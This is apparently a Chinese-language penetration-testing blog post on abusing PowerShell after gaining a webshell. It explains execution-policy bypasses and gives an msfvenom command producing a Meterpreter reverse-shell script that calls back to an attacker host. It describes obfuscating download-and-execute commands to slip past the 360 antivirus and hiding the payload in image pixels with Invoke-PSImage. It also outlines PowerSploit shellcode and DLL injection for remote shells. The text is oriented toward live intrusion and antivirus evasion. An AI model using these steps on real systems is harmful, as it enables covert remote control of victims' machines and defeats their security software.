摘要: powershell是一个功能强大的shell,如同linux的bash,并且支持.NET,全凭命令操作windows服务。现被更广泛用于渗透测试等方面,在不需要写入磁盘的情况下执行命令,也可以逃避Anti-Virus检测。
| 管道符的作用是将一个命令的输出作为另一个命令的输入
; 分号用来连续执行系统命令
&是调用操作符,它允许你执行命令,脚本或函数
双引号可以替换内部变量
双引号里的双引号,单引号里的单引号,写两遍输出
powershell有六种执行策略:
Unrestricted 权限最高,可以不受限制执行任意脚本
Restricted 默认策略,不允许任意脚本的执行
AllSigned 所有脚本必须经过签名运行
RemoteSigned 本地脚本无限制,但是对来自网络的脚本必须经过签名
Bypass 没有任何限制和提示
Undefined 没有设置脚本的策略
默认情况下,禁止脚本执行。除非管理员更改执行策略。Set-ExecutionPolicy
绕过执行策略执行大概有以下几种:
1.本地读取然后通过管道符运行
2.远程下载并通过IEX运行脚本
3.Bypass执行策略绕过
powershell -ExecutionPolicy bypass -File ./a.ps1
不会显示警告和提示
4.Unrestricted执行策略标志
powershell -ExecutionPolicy unrestricted -File ./a.ps1
当运行一个从网上下载的未签名的脚本时,会给出权限提示
需要解释的是:
如果考虑实际情况,假设我们获取了一个webshell。以上的几种方法只有IEX可以远程加载直接运行,其余都需要上传ps木马再绕过执行策略。
msfvenom生成ps木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.203.140 LPORT=4444 -f psh-reflection >a.ps1
但是一些Anti-Virus对powershell命令查杀比较严格。以360为例:
对于后一种,可以将绕过执行策略的命令修改为bat文件后再次运行。可绕过360
powershell -ExecutionPolicy bypass -File ./a.ps1
将该命令保存为c.bat,菜刀运行即可。
对于IEX这种方便快捷的方式直接运行会被360拦截。可尝试从语法上简单变化。
主要是对DownloadString、http做一些处理。
比如这个:
先将命令拆分为字符串,然后进行拼接。
需要注意的是双引号可以输出变量,两个单引号连用才能输出一个单引号。
成功输出该命令。echo修改为IEX即可运行,bypass 360。
也可以使用replace替换函数,bypass。
也可以对http字符进行绕过,同样可以bypass
实际测试也可以在菜刀里直接运行后产生session
为了更好用于实战,可以在c、vbs、hta、python等语言中执行该系统命令,达到bypass的效果。
大佬们还写出了用于编码和混淆的框架
还有一款通过图片免杀执行powershell的脚本Invoke-PSImage.ps1,主要把payload分散存到图片的像素中,最后到远端执行时,再重新遍历重组像素中的payload执行。
在利用的时候需要准备一张足够大的图片。我用的是1900*1200的图片x.jpg。
C:\>powershell
PS C:\> Import-Module .\Invoke-PSImage.ps1
PS C:\> Invoke-PSImage -Script .\a.ps1 -Image .\x.jpg -Out .\reverse_shell.png -Web
a.ps1是msf木马,-Out 生成reverse_shell.png图片,-Web 输出从web读取的命令。
并将reverse_shell.png移动至web目录,替换url地址。在powershell下执行即可。
在《web安全攻防》书里有利用 PowerSploit 脚本加载shellcode、dll反弹meterpreter shell的方法。我把之前的笔记放在这里。
1.加载shellcode
msfvenom生成脚本木马
在windows靶机上运行一下命令
使用Invoke-Shellcode.ps1脚本执行shellcode
即可反弹meterpreter shell
2.加载dll
使用msfvenom 生成dll木马脚本
将生成的dll上传到目标的C盘。在靶机上执行以下命令
创建新的进程启动记事本,并设置为隐藏
使用Invoke-DLLinjection脚本,启动新的进程进行dll注入(没有杀毒软件)
即可反弹meterpreter session
3.加载exe
msfvenom生成exe木马(不免杀)
还是powersploit的Invoke-ReflectivePEInjection.ps1脚本,可以直接远程加载exe达到bypass
成功反弹meterpreter shell
该脚本也可以结合之前的bypass方式进行免杀提权。
原文链接: